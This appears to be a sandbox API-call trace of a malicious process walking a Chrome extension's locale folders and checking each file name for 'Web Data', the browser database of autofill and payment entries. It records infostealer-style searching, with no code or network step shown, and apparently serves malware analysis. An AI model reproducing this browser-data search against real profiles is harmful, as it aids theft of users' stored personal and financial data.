[0056.371] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.371] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.371] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.371] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.371] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.371] LocalFree (hMem=0x2e0328) returned 0x0 [0056.371] LocalFree (hMem=0x2e0218) returned 0x0 [0056.371] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.371] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.371] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.371] lstrlenA (lpString="\\") returned 1 [0056.371] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.371] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.371] lstrlenA (lpString="pt_BR") returned 5 [0056.371] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2e0218 [0056.371] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR" [0056.371] LocalFree (hMem=0x2e0108) returned 0x0 [0056.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned 136 [0056.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned 136 [0056.371] lstrlenA (lpString="\\*.*") returned 4 [0056.371] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2e0330 [0056.371] lstrcpyA (in: lpString1=0x2e0330, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR" [0056.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*.*" [0056.371] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.371] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.371] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.371] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.371] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.372] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.372] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.372] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.372] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.372] LocalFree (hMem=0x2e0330) returned 0x0 [0056.372] LocalFree (hMem=0x2e0218) returned 0x0 [0056.372] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.372] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.372] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.372] lstrlenA (lpString="\\") returned 1 [0056.372] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.372] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.372] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.372] lstrlenA (lpString="pt_PT") returned 5 [0056.372] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2e0218 [0056.372] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.372] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT" [0056.372] LocalFree (hMem=0x2e0108) returned 0x0 [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned 136 [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned 136 [0056.372] lstrlenA (lpString="\\*.*") returned 4 [0056.372] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2e0330 [0056.372] lstrcpyA (in: lpString1=0x2e0330, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT" [0056.372] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*.*" [0056.372] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.372] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.372] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.372] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.372] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.372] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.372] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.372] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.372] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.372] LocalFree (hMem=0x2e0330) returned 0x0 [0056.372] LocalFree (hMem=0x2e0218) returned 0x0 [0056.372] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.372] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.372] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.372] lstrlenA (lpString="\\") returned 1 [0056.372] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.373] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.373] lstrlenA (lpString="ro") returned 2 [0056.373] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.373] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro" [0056.373] LocalFree (hMem=0x2e0108) returned 0x0 [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned 133 [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned 133 [0056.373] lstrlenA (lpString="\\*.*") returned 4 [0056.373] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.373] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro" [0056.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*.*" [0056.373] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.373] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.373] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.373] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.373] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.373] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.373] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.373] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.373] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.373] LocalFree (hMem=0x2e0328) returned 0x0 [0056.373] LocalFree (hMem=0x2e0218) returned 0x0 [0056.373] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.373] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.373] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.373] lstrlenA (lpString="\\") returned 1 [0056.373] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.373] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.373] lstrlenA (lpString="ru") returned 2 [0056.373] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.373] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru" [0056.373] LocalFree (hMem=0x2e0108) returned 0x0 [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned 133 [0056.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned 133 [0056.373] lstrlenA (lpString="\\*.*") returned 4 [0056.373] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.374] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru" [0056.374] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*.*" [0056.374] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.374] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.374] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.374] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.374] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.374] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.374] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 